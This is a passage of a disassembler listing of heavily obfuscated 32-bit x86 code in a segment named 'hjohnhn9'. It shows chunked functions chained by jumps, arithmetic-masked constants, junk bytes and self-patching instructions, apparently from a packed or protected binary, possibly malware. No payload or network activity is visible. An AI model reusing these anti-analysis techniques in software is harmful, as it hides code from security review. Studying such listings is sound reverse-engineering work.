sub_42392D	proc near		; CODE XREF: sub_4282F8-3B0Ep
					; sub_427D9D:loc_424EE0p ...

; FUNCTION CHUNK AT 00424E36 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00428AE8 SIZE 00000005 BYTES

		jns	sub_424E4F
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		jmp	loc_428AE8
sub_42392D	endp

; ---------------------------------------------------------------------------
		dw 0F9BDh
dword_423940	dd 0			; DATA XREF: hjohnhn9:00423C4Ar
					; sub_427A36-1792r ...
dword_423944	dd 77E79F93h		; DATA XREF: sub_4235D8+4w
					; hjohnhn9:00423824w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278B9


loc_423948:				; CODE XREF: sub_4278B9+18j
		jmp	loc_42340D
; END OF FUNCTION CHUNK	FOR sub_4278B9
; ---------------------------------------------------------------------------
		db 2Fh,	1Ch, 0C1h
dword_423950	dd 0			; DATA XREF: sub_424161-1035r
					; sub_425F93+4w ...
dword_423954	dd 0			; DATA XREF: sub_428788-5170r
					; hjohnhn9:loc_423A05r	...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D38


loc_423958:				; CODE XREF: sub_424D38+3D7Ej
		jmp	nullsub_74
; END OF FUNCTION CHUNK	FOR sub_424D38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_42395D:				; CODE XREF: sub_428477:loc_4267ECj
		jge	loc_424ACA
; END OF FUNCTION CHUNK	FOR sub_428477
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_423963:				; CODE XREF: sub_4237F4+3341j
		jmp	loc_424A46
; END OF FUNCTION CHUNK	FOR sub_4237F4
; ---------------------------------------------------------------------------
		xchg	ecx, ebx
		xor	esi, 659A1899h
		mov	[ecx], edx
		jmp	loc_424AC9
; ---------------------------------------------------------------------------


loc_423977:				; CODE XREF: hjohnhn9:004269E1j
		jg	loc_4235C4
		adc	esi, eax
		jmp	loc_42632C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424928


loc_423984:				; CODE XREF: sub_424928+3D17j
					; sub_424928+3D28j
		or	esi, 0FC4A9892h
		add	esi, 1663DA1h
		xchg	esi, [esp+0]
		jmp	loc_428696
; END OF FUNCTION CHUNK	FOR sub_424928
; ---------------------------------------------------------------------------
		push	offset sub_424B97
		jmp	loc_4290E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423E64


loc_4239A2:				; CODE XREF: sub_423E64+3471j
		pushf
		ror	ecx, 1Eh


loc_4239A6:				; CODE XREF: sub_423E64:loc_423CF0j
		push	offset sub_427440
		jmp	locret_4232D0
; END OF FUNCTION CHUNK	FOR sub_423E64
; ---------------------------------------------------------------------------


loc_4239B0:				; CODE XREF: hjohnhn9:loc_423408j
		cmp	eax, [ebp-14h]
		jb	loc_426B3A
		mov	eax, [ebp-10h]
		mov	eax, [eax+64h]
		add	eax, [ebp-14h]
		cmp	eax, [ebp-0Ch]
		ja	loc_42300D
		jmp	loc_426B3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_4239D0:				; CODE XREF: sub_428477:loc_4252C8j
		mov	[ebp+var_4], eax


loc_4239D3:				; CODE XREF: sub_423E64+Cj
					; sub_4260BD-12FCj ...
		dec	ds:dword_4233C4
		mov	eax, [ebp+var_4]
		push	offset loc_4281A2
		jmp	loc_424E8F
; END OF FUNCTION CHUNK	FOR sub_428477
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4239E7:				; CODE XREF: hjohnhn9:00427685j
		jmp	sub_428192
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427994


loc_4239EC:				; CODE XREF: sub_427994:loc_4261F1j
		sub	eax, 505B6FF8h
		xor	eax, 82A55006h
		add	eax, ebp
		add	eax, 0A9B1D40h
		jmp	loc_42678E
; END OF FUNCTION CHUNK	FOR sub_427994
; ---------------------------------------------------------------------------


loc_423A05:				; DATA XREF: sub_423425+4EB4o
		cmp	ds:dword_423954, 0
		jnz	loc_42879B
		call	nullsub_2
		call	sub_424877
		mov	edx, 0CF0182F6h
		call	sub_427C53
		jmp	loc_42846D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_423A2B:				; CODE XREF: sub_423B05-A2Aj
		jp	loc_427BF3


loc_423A31:				; CODE XREF: sub_423B05:loc_4230CEj
		call	sub_424877
		mov	edx, 3CC6743Ch
		call	sub_4279ED
		jmp	loc_428C49
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
		js	loc_423DAF
		jmp	sub_423BC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_423A50:				; CODE XREF: sub_4260BD:loc_427431j
		push	538ACF62h
		pop	ebx
		sub	ebx, 4907E7DAh
		or	ebx, 0B92D1335h
		xor	ebx, 1E0EA8B3h
		add	ebx, ebp
		add	ebx, 5A5EA0EEh
		jmp	loc_42498B
; END OF FUNCTION CHUNK	FOR sub_4260BD

; =============== S U B	R O U T	I N E =======================================



sub_423A75	proc near		; CODE XREF: sub_427564+13B9j

; FUNCTION CHUNK AT 00426C69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004271B8 SIZE 00000017 BYTES

		push	ebx
		push	482FEEA0h
		or	ebx, esi
		jmp	loc_426C69
sub_423A75	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_423A82:				; CODE XREF: sub_42325E:loc_4276F7j
		jz	loc_42520B
		jmp	loc_426F50
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
		js	loc_424CD3
		jmp	sub_42362A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_423A98:				; CODE XREF: sub_427564:loc_428B22j
		sub	edx, 9C16CC78h
		jns	loc_428912
		jz	loc_423D06
		jmp	loc_427D81
; END OF FUNCTION CHUNK	FOR sub_427564

; =============== S U B	R O U T	I N E =======================================



sub_423AAF	proc near		; CODE XREF: sub_4265CD:loc_424449j
					; sub_4265CD-857j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004246BB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428027 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp+4+var_4]
		push	0FC272739h
		pop	esi
		sub	esi, 945F967Eh
		or	esi, 1A7F9951h
		sub	esi, 0F7809293h
		jmp	loc_4246BB
sub_423AAF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_423AD2:				; CODE XREF: sub_424698+42A8j
		jz	loc_428E07
		add	ebp, 40DAFCE5h
		or	ebx, 44198AFDh


loc_423AE4:				; CODE XREF: sub_427994:loc_427904j
		call	sub_4245BA
; END OF FUNCTION CHUNK	FOR sub_424698
; START	OF FUNCTION CHUNK FOR sub_425029


loc_423AE9:				; CODE XREF: sub_425029:loc_42737Bj
		add	[ebp-8], eax
		call	sub_42865B


loc_423AF1:				; CODE XREF: hjohnhn9:0042664Aj
		test	ebx, eax
		jmp	loc_428823
; END OF FUNCTION CHUNK	FOR sub_425029
; ---------------------------------------------------------------------------
		push	esi
		add	esi, 61FD5CF9h
		jmp	sub_428838
; ---------------------------------------------------------------------------


loc_423B04:				; CODE XREF: hjohnhn9:00425F8Ej
		pop	ecx

; =============== S U B	R O U T	I N E =======================================



sub_423B05	proc near		; CODE XREF: sub_4270CF+583p

; FUNCTION CHUNK AT 004230CE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00423222 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004233E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423505 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00423648 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004238B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423A2B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00423C5B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424414 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00424B45 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004250B4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425252 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00425E64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004263DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004275E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427A44 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00427BF3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00427EE2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004285EB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042862B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428C49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D80 SIZE 00000023 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_428398
		or	eax, eax
		jnz	loc_424414
		jmp	loc_424B45
sub_423B05	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_423B1F:				; CODE XREF: sub_4262C5:loc_423F0Bj
		call	sub_424E5D


loc_423B24:				; CODE XREF: sub_424631:loc_428BE3j
		cdq
		rol	eax, 11h
		jmp	loc_428B61
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------
		or	edi, 0E54D5516h
		jmp	loc_42432F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_423B39:				; CODE XREF: hjohnhn9:00424281j
		jmp	locret_4232E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427AC0


loc_423B3E:				; CODE XREF: sub_427AC0-41A4j
		jmp	loc_424D04
; END OF FUNCTION CHUNK	FOR sub_427AC0
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, edi
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_423B46:				; CODE XREF: sub_42325E:loc_424E6Bj
		xchg	ebx, [esp+0]
		mov	edi, eax
		jmp	loc_423DF6
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_423B50:				; CODE XREF: sub_424161+43A4j
		push	eax
		call	sub_426708
		push	724752F0h
		xchg	ebp, [esp+0Ch+var_C]
		jmp	loc_426655
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------


loc_423B63:				; DATA XREF: sub_423CCD:loc_427288o
		add	dword ptr [ebp-8], 2
		jmp	loc_426996

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423B6C	proc near		; CODE XREF: sub_424A78+19Ep
					; sub_427FCE+4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00426C2E SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		jmp	loc_426C2E
sub_423B6C	endp

; ---------------------------------------------------------------------------
		push	eax
		mov	eax, ebx
		push	offset sub_425C4B
		jmp	loc_425D6A

; =============== S U B	R O U T	I N E =======================================



sub_423B84	proc near		; CODE XREF: sub_424161-1D5j
		xchg	ecx, [esp+0]
		pop	ecx
		add	ebx, 82E94C6Ah
		mov	[ebx], eax
		pop	ebx
		retn
sub_423B84	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D0E


loc_423B92:				; CODE XREF: sub_428D0E-ECj
		jmp	loc_4277C5
; END OF FUNCTION CHUNK	FOR sub_428D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278F6


loc_423B97:				; CODE XREF: sub_4278F6+9j
		jmp	nullsub_32
; END OF FUNCTION CHUNK	FOR sub_4278F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_423B9C:				; CODE XREF: sub_426708-544j
					; sub_424631+3B0Bj
		call	sub_427166


loc_423BA1:				; CODE XREF: sub_423B05+175Ej
		mov	[edx-10h], eax
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		shr	eax, 6
		mov	[ebp-10h], eax
		jmp	loc_426650
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_423BB8:				; CODE XREF: sub_42466E+571j
		jg	loc_424033
		jmp	loc_424008
; END OF FUNCTION CHUNK	FOR sub_42466E

; =============== S U B	R O U T	I N E =======================================



sub_423BC3	proc near		; CODE XREF: hjohnhn9:00423A4Bj
					; sub_427440+4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00423388 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004236BB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004241BE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042465F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424C7B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424FE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425F6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004260F9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00426A84 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042713A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427825 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427A7E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428C84 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00428F9F SIZE 00000020 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0CA17F4Ah
		pop	edx
		rol	edx, 15h
		and	edx, 5FE7D04h
		xor	edx, 107BF9A6h
		test	edx, 10h
		jmp	loc_4236BB
sub_423BC3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423369


loc_423BE7:				; CODE XREF: sub_423369+1Aj
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_423369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_423BF1:				; CODE XREF: sub_4260BD+2F7Cj
		jmp	loc_426EE5
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_423BF6:				; CODE XREF: sub_4236A7+Ej
		jmp	loc_425D7B
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------


loc_423BFB:				; DATA XREF: sub_423369+14o
		xor	eax, eax
		jmp	loc_424728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_423C02:				; CODE XREF: sub_424819-7F2j
		test	ebx, 2000h
		jmp	loc_426B97
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_423C0D:				; CODE XREF: sub_4262C5+1D80j
		jz	loc_423551
		sbb	ecx, edx
		jmp	loc_4264E3
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D99


loc_423C1A:				; CODE XREF: sub_424D99:loc_424003j
		jl	loc_423EFA
		sub	ecx, edx
		push	0AEFB675Bh
		xchg	ecx, [esi]
		jmp	loc_423EF4
; END OF FUNCTION CHUNK	FOR sub_424D99
; ---------------------------------------------------------------------------
		test	edx, 0DE971895h
		jmp	loc_428351
; ---------------------------------------------------------------------------


loc_423C39:				; CODE XREF: hjohnhn9:00424467j
		test	ebp, 3E5EE592h
		jmp	loc_427480
; ---------------------------------------------------------------------------


loc_423C44:				; DATA XREF: sub_428E65+7o
		jz	loc_427EAB
		mov	eax, ds:dword_423940
		mov	eax, [eax]
		call	sub_4235D8
; START	OF FUNCTION CHUNK FOR sub_42677F


loc_423C56:				; CODE XREF: sub_42677F+Aj
		jmp	loc_427F33
; END OF FUNCTION CHUNK	FOR sub_42677F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_423C5B:				; CODE XREF: sub_423B05-4B5j
		jo	loc_423659
		jnb	loc_4267FC


loc_423C67:				; CODE XREF: sub_423B05:loc_42862Bj
		push	7A23220Ah
		pop	eax
		jmp	loc_4275E9
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------


loc_423C72:				; CODE XREF: hjohnhn9:loc_428621j
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		push	offset sub_426F5A
		jmp	loc_428ECB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284CB


loc_423C85:				; CODE XREF: sub_4284CB:loc_42655Cj
		cmp	byte ptr [eax],	0EBh
		call	sub_4231AD


loc_423C8D:				; DATA XREF: sub_424161-294o
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_4284CB
; START	OF FUNCTION CHUNK FOR sub_424161


loc_423C90:				; CODE XREF: sub_424161+Ej
					; sub_426C1C+Dj ...
		mov	eax, [ebp-20h]
		sub	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		jmp	loc_426E7A
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_423CA1:				; CODE XREF: sub_4260BD-172Cj
		push	78C9D3B0h
		pop	ebx
		or	ebx, 49478D09h
		xor	ebx, 2FC1EEDBh
		sub	ebx, 898416F6h
		cmp	ebx, 0DEADBCE0h
		jmp	loc_42409B
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_423CC4:				; CODE XREF: sub_424161:loc_426E7Aj
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423D67


loc_423CC8:				; CODE XREF: sub_423D67+1Bj
		jmp	loc_4236E4
; END OF FUNCTION CHUNK	FOR sub_423D67

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CCD	proc near		; CODE XREF: sub_426C1C+4p
					; sub_424161+446Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004271DA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00427272 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00427B92 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		jmp	loc_427B92
sub_423CCD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_423CDB	proc near		; CODE XREF: hjohnhn9:00426B74j
					; sub_4289B2:loc_4289BBp

; FUNCTION CHUNK AT 0042407B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424BB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424CA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425076 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425EFB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426268 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426762 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004267F1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00426B13 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426B1F SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00426D2F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00427449 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427B9C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004283F7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042869B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00428851 SIZE 00000020 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_4267F1
sub_423CDB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423E64


loc_423CF0:				; CODE XREF: sub_423E64+12j
		jnz	loc_4239A6
		jmp	loc_4272D3
; END OF FUNCTION CHUNK	FOR sub_423E64
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_423CFC:				; CODE XREF: hjohnhn9:0042307Cj
					; hjohnhn9:00424277j
		xor	ebx, ecx
		and	ebx, 0B4897EE5h
		xchg	edx, [ecx]
; START	OF FUNCTION CHUNK FOR sub_427564


loc_423D06:				; CODE XREF: sub_427564-3AC0j
					; hjohnhn9:loc_42426Bj
		xor	ecx, 36F2DCB7h
		jmp	loc_42901D
; END OF FUNCTION CHUNK	FOR sub_427564
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42841F


loc_423D11:				; CODE XREF: sub_42841F+12j
		jz	loc_42658E
		jmp	loc_423810
; END OF FUNCTION CHUNK	FOR sub_42841F

; =============== S U B	R O U T	I N E =======================================



sub_423D1C	proc near		; DATA XREF: hjohnhn9:0042427Co

; FUNCTION CHUNK AT 0042415E SIZE 00000003 BYTES

		push	eax
		ror	eax, 1Ah
		push	edi
		call	sub_426211
		and	edi, 9193273h
		jmp	loc_42415E
sub_423D1C	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_423D33:				; CODE XREF: hjohnhn9:00426263j
		jmp	loc_426D32
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]
		db 31h,	1, 0
		dd 264E800h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_423D42:				; CODE XREF: sub_4279C0+3j
		jmp	loc_4249CC
; END OF FUNCTION CHUNK	FOR sub_4279C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_423D47:				; CODE XREF: sub_426A78+10B8j
		jz	loc_425F1B
		adc	eax, ebp
		jmp	loc_425F15
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_423D54:				; CODE XREF: sub_4278DC:loc_424C01j
		adc	ebx, 6A4E96E7h
		js	loc_427A24
		xor	esi, edi
		jmp	loc_427B35
; END OF FUNCTION CHUNK	FOR sub_4278DC

; =============== S U B	R O U T	I N E =======================================



sub_423D67	proc near		; DATA XREF: hjohnhn9:00429046o

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423201 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004236E4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00423CC8 SIZE 00000005 BYTES

		push	edi
		push	1FC6F0D5h
		xchg	ebp, [esp+0]
		mov	edi, ebp
		pop	ebp
		xor	edi, 0C19381B4h


loc_423D79:				; CODE XREF: hjohnhn9:loc_426CF5j
		rol	edi, 1Eh


loc_423D7C:				; CODE XREF: hjohnhn9:loc_424EC3j
		and	edi, 12212D66h
		jmp	loc_423CC8
sub_423D67	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_423D87:				; DATA XREF: sub_423B05+3F49o
		mov	[ebp-4], eax
		push	5076CEAEh
		pop	eax
		add	eax, 982C40ADh
		sub	eax, 33BDC7FFh
		jmp	loc_4274A4
; ---------------------------------------------------------------------------
		test	edx, ecx
		jmp	loc_428A5B
; ---------------------------------------------------------------------------


loc_423DA8:				; DATA XREF: sub_4237F4+1461o
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0


loc_423DAF:				; CODE XREF: hjohnhn9:00423A45j
		jnz	loc_424F28
		cmp	dword ptr [ebp-0Ch], 5
		jnz	loc_424F28
		mov	eax, [ebp+8]
		call	sub_424F20
		shr	ecx, 9
		jmp	loc_425C93
; ---------------------------------------------------------------------------


loc_423DCF:				; CODE XREF: hjohnhn9:0042508Cj
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
		push	ecx
		push	0D50AC7F6h
		pop	ecx
		xor	ecx, 0E03A3CE0h
		add	ecx, 0BA522053h
		cmp	ecx, 75766663h
		jmp	loc_42426B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_423DF6:				; CODE XREF: sub_42325E+8EDj
		xchg	edi, [esp+0]
		ror	eax, 11h
		call	sub_42636C


loc_423E01:				; CODE XREF: hjohnhn9:00428059j
		jmp	loc_428372
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
word_423E06	dw 0E0C1h		; DATA XREF: sub_42304F+1D40o
		dd 0EC558B02h, 31C528Bh, 0A5E9FC55h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E98


loc_423E17:				; CODE XREF: sub_428E98+Dj
		jbe	loc_426E02
		ja	loc_42707F
		xor	esi, edi
; END OF FUNCTION CHUNK	FOR sub_428E98
; START	OF FUNCTION CHUNK FOR sub_428CC9


loc_423E25:				; CODE XREF: sub_428CC9:loc_4288C9j
		push	3C38EEE8h
		pop	eax
		jmp	loc_425B86
; END OF FUNCTION CHUNK	FOR sub_428CC9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E54


loc_423E31:				; CODE XREF: sub_427E54-3D20j
		jmp	loc_428EE5
; END OF FUNCTION CHUNK	FOR sub_427E54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_423E36:				; CODE XREF: sub_42325E+511Dj
		add	eax, 5343FABBh
		sub	eax, 544AEFF2h
		xor	eax, 0B530F9FEh
		add	eax, 3B007B8Dh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_423283
		jmp	loc_4276F7
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
		cmp	esi, ebx
		jmp	loc_4266BE

; =============== S U B	R O U T	I N E =======================================



sub_423E64	proc near		; CODE XREF: sub_4251EB-1F0Bp
					; hjohnhn9:00425FF9j

; FUNCTION CHUNK AT 004239A2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00423CF0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004272D3 SIZE 00000007 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, 0FF7FCF00h
		or	eax, eax
		jz	loc_4239D3
		jmp	loc_423CF0
sub_423E64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425EEA


loc_423E7B:				; CODE XREF: sub_425EEA+Bj
		call	sub_425E49


loc_423E80:				; CODE XREF: sub_424631:loc_428567j
		mov	eax, [ebp+8]
		push	offset loc_424996
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_425EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_423E8D:				; CODE XREF: sub_426F5A+3E6j
		or	esi, edx


loc_423E8F:				; CODE XREF: hjohnhn9:loc_427160j
		add	edx, 0A2D9B284h
		xor	ebx, 802191BEh


loc_423E9B:				; CODE XREF: sub_426F5A:loc_42513Cj
		call	sub_424877
		mov	edx, 0F2B89A19h
		call	sub_4279ED
		jmp	loc_42365D
; END OF FUNCTION CHUNK	FOR sub_426F5A
; ---------------------------------------------------------------------------
		ror	edx, 14h
		jmp	sub_427B51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4249E1


loc_423EB7:				; CODE XREF: sub_4249E1+Cj
		mov	eax, [ebp-14h]
		push	eax
		push	esi
		call	sub_427345
; END OF FUNCTION CHUNK	FOR sub_4249E1
; START	OF FUNCTION CHUNK FOR sub_426CE6


loc_423EC1:				; CODE XREF: sub_426CE6+Aj
		jmp	loc_4283E0
; END OF FUNCTION CHUNK	FOR sub_426CE6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_423EC7:				; CODE XREF: sub_424819+46C0j
		jmp	loc_42488B
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_423ECC:				; CODE XREF: sub_424161:loc_424F86j
		pop	ecx
		push	offset loc_423C8D
		jmp	loc_4288F8
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_423ED7:				; CODE XREF: sub_424631:loc_426E35j
		shl	eax, 3
